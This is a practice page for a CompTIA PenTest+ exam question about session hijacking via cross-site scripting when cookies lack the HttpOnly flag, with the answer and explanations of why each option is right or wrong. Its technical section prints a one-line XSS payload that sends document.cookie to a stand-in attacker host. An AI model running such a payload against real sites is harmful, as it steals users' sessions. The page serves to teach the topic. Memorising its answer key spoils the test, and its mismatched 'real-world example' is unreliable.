Quick Answer
The correct answer is session hijacking through cross-site scripting, because when session tokens are stored in HTTP cookies without the HttpOnly flag, client-side JavaScript can access them. An attacker exploits an XSS vulnerability to inject malicious script that reads the cookie and exfiltrates it to a remote server, enabling immediate session hijacking without needing to crack the token. On the CompTIA PenTest+ PT0-002 exam, this scenario tests your understanding of how missing security flags on cookies directly enable cookie theft via XSS, a common trap where candidates overlook the HttpOnly flag’s role in blocking script access. A frequent memory tip is “No HttpOnly? XSS steals the cookie”—if the flag is absent, any XSS flaw becomes a direct path to session takeover.
This PT0-002 practice question tests your understanding of attacks and exploits. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
A penetration tester is exploiting a web application that stores session tokens in HTTP cookies without the HttpOnly flag. Which attack is most likely to succeed?
Clue words in this question
Noticing these words before you look at the options changes how you read each choice.
Clue: "most likely"
Why it matters: Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
SQL injection
Why wrong: SQL injection targets database, not session tokens.
Session hijacking through cross-site scripting
XSS can read cookie values if HttpOnly is not set, allowing session theft.
Cross-site request forgery
Why wrong: CSRF forges requests but does not steal the token.
Server-side request forgery
Why wrong: SSRF makes internal requests, does not steal cookies.
Answer choices
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
Session hijacking through cross-site scripting
The absence of the HttpOnly flag on session cookies allows client-side scripts (e.g., JavaScript) to access the cookie. An attacker can exploit a cross-site scripting (XSS) vulnerability to execute arbitrary JavaScript in the victim's browser, which then reads the session cookie and sends it to the attacker. This enables session hijacking without needing to guess or brute-force the token.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
For each option: why learners choose it and why it is or isn't the right answer here.
SQL injection
Why it's wrong here
SQL injection targets database, not session tokens.
Session hijacking through cross-site scripting
Why this is correct
XSS can read cookie values if HttpOnly is not set, allowing session theft.
Clue confirmation
The clue word "most likely" in the question point toward this answer.
Related concept
Read the scenario before looking for a memorised answer.
Cross-site request forgery
Why it's wrong here
CSRF forges requests but does not steal the token.
Server-side request forgery
Why it's wrong here
SSRF makes internal requests, does not steal cookies.
Common exam traps
The trap here is that candidates often confuse session hijacking via XSS with CSRF, but CSRF does not steal the token—it only abuses the existing authenticated session to perform actions.
Detailed technical explanation
The HttpOnly flag is a cookie attribute defined in RFC 6265 that prevents the Document.cookie API from being accessed by JavaScript. Without it, an XSS payload like `new Image().src='http://attacker.com/steal?cookie='+document.cookie` can exfiltrate the session token. In real-world scenarios, even a stored XSS in a comment field can silently harvest session cookies from all visitors, leading to widespread account compromise.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
A security team runs a vulnerability scan on a web application and discovers an unpatched SQL injection flaw. The team prioritises remediation by CVSS score — critical flaws are patched within 24 hours, high within 7 days. Questions like this test whether you understand vulnerability management processes, scanning tools, and remediation prioritisation.
What to study next
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
Attacks and Exploits — study guide chapter
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FAQ
Attacks and Exploits — This question tests Attacks and Exploits — Read the scenario before looking for a memorised answer..
The correct answer is: Session hijacking through cross-site scripting — The absence of the HttpOnly flag on session cookies allows client-side scripts (e.g., JavaScript) to access the cookie. An attacker can exploit a cross-site scripting (XSS) vulnerability to execute arbitrary JavaScript in the victim's browser, which then reads the session cookie and sends it to the attacker. This enables session hijacking without needing to guess or brute-force the token.
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
Yes — watch for: "most likely". Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
Read the scenario before looking for a memorised answer.
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Last reviewed: Jun 25, 2026
This PT0-002 practice question is part of Courseiva's free CompTIA certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the PT0-002 exam.
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